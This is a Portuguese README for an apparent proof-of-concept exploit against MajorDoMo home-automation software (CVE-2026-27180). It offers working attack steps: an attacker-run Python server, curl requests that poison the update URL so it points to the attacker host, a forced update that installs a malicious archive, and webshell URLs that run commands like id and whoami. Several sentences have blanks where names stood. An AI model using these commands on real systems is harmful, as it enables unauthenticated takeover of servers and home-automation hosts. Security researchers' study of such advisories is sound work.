
Prova de conceito de exploit para CVE-2026-27180, uma RCE não autenticada no MajorDoMo via envenenamento de URL de atualização, entregando um webshell na raiz da web.
Execução Remota de Código Não Autenticada via Envenenamento de URL de Atualização no MajorDoMo
CWE-494 – Download de Código sem Verificação de Integridade
Impacto: Comprometimento total do servidor via webshell colocado na raiz web
Autenticação Necessária: Nenhuma
Correção: PR #1177
Este repositório contém um exploit de prova de conceito para – uma vulnerabilidade crítica de execução remota de código não autenticada no software de automação residencial .
Um atacante pode:
A vulnerabilidade existe porque:
auto_update_settings e force_updateCURLOPT_SSL_VERIFYPEER = false)poc.php).htaccess opcional para forçar a execução de PHPgit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# Nenhum pip install necessário – usa apenas biblioteca padrão + argparse
graph TD
A["Atacante inicia servidor HTTP malicioso\nservindo /master.xml + /archive/master.tar.gz"] --> B["Atacante envenena a URL de atualização\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Atacante aciona a atualização\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo busca o feed Atom envenenado"]
D --> E["Baixa master.tar.gz malicioso\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extrai o tar.gz com tar xzvf ..."]
F --> G["copyTree() copia arquivos recursivamente\n→ poc.php & .htaccess chegam à raiz web"]
G --> H["Atacante acessa o webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2px
Inicie o servidor malicioso:
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
Após o servidor iniciar, execute estes comandos contra o alvo:
# 1. Envenene a origem da atualização
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. Acione a atualização forçada
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
Aguarde 10–90 segundos e teste o webshell:
# Exemplos:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
Este código é fornecido estritamente para fins educacionais, testes de segurança autorizados e atividades de red teaming.
Licença MIT
Copyright © 2026 Mohammed Idrees Banyamer
A permissão é concedida, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrições, incluindo, sem limitação, os direitos de usar, copiar, modificar, mesclar, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e permitir que as pessoas a quem o Software for fornecido o façam, sujeito às seguintes condições:
O aviso de direitos autorais acima e este aviso de permissão deverão ser incluídos em todas as cópias ou partes substanciais do Software.
O SOFTWARE É FORNECIDO "NO ESTADO EM QUE SE ENCONTRA", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIABILIDADE, ADEQUAÇÃO A UM FIM ESPECÍFICO E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU DETENTORES DE DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER RECLAMAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.